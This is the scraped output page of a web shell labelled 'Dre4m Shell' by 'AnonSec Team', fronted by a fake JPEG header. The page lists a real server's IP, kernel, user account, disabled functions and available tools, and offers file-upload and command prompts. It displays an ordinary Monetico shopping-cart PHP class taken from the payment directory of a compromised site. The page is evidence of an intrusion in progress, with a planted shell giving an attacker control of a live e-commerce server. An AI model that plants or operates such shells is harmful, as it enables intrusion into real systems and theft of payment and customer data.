ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/CE_payment/Monetico/Monetico/Request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/CE_payment/Monetico/Monetico/Request/OrderContextShoppingCartItem.php
<?php

namespace MoneticoDemoWebKit\Monetico\Request;

class OrderContextShoppingCartItem implements \JsonSerializable
{

    /**
     * @var ?string
     */
    private $name;

    /**
     * @var ?string
     */
    private $description;

    /**
     * @var ?string
     */
    private $productCode;

    /**
     * @var ?string
     */
    private $imageURL;

    /**
     * @var ?int
     */
    private $unitPrice;

    /**
     * @var ?int
     */
    private $quantity;

    /**
     * @var ?string
     */
    private $productSKU;

    /**
     * @var ?string
     */
    private $productRisk;

    public function jsonSerialize()
    {
        return array_filter([
            "name" => $this->getName(),
            "description" => $this->getDescription(),
            "productCode" => $this->getProductCode(),
            "imageURL" => $this->getImageURL(),
            "unitPrice" => $this->getUnitPrice(),
            "quantity" => $this->getQuantity(),
            "productSKU" => $this->getProductSKU(),
            "productRisk" => $this->getProductRisk()
        ], function ($value) {
            return !is_null($value);
        });
    }

    /**
     * @return string|null
     */
    public function getName(): ?string
    {
        return $this->name;
    }

    /**
     * @param string|null $name
     */
    public function setName(?string $name): void
    {
        $this->name = $name;
    }

    /**
     * @return string|null
     */
    public function getDescription(): ?string
    {
        return $this->description;
    }

    /**
     * @param string|null $description
     */
    public function setDescription(?string $description): void
    {
        $this->description = $description;
    }

    /**
     * @return string|null
     */
    public function getProductCode(): ?string
    {
        return $this->productCode;
    }

    /**
     * @param string|null $productCode
     */
    public function setProductCode(?string $productCode): void
    {
        $this->productCode = $productCode;
    }

    /**
     * @return string|null
     */
    public function getImageURL(): ?string
    {
        return $this->imageURL;
    }

    /**
     * @param string|null $imageURL
     */
    public function setImageURL(?string $imageURL): void
    {
        $this->imageURL = $imageURL;
    }

    /**
     * @return int|null
     */
    public function getUnitPrice(): ?int
    {
        return $this->unitPrice;
    }

    /**
     * @param int|null $unitPrice
     */
    public function setUnitPrice(?int $unitPrice): void
    {
        $this->unitPrice = $unitPrice;
    }

    /**
     * @return int|null
     */
    public function getQuantity(): ?int
    {
        return $this->quantity;
    }

    /**
     * @param int|null $quantity
     */
    public function setQuantity(?int $quantity): void
    {
        $this->quantity = $quantity;
    }

    /**
     * @return string|null
     */
    public function getProductSKU(): ?string
    {
        return $this->productSKU;
    }

    /**
     * @param string|null $productSKU
     */
    public function setProductSKU(?string $productSKU): void
    {
        $this->productSKU = $productSKU;
    }

    /**
     * @return string|null
     */
    public function getProductRisk(): ?string
    {
        return $this->productRisk;
    }

    /**
     * @param string|null $productRisk
     */
    public function setProductRisk(?string $productRisk): void
    {
        $this->productRisk = $productRisk;
    }
}

Anon7 - 2022
AnonSec Team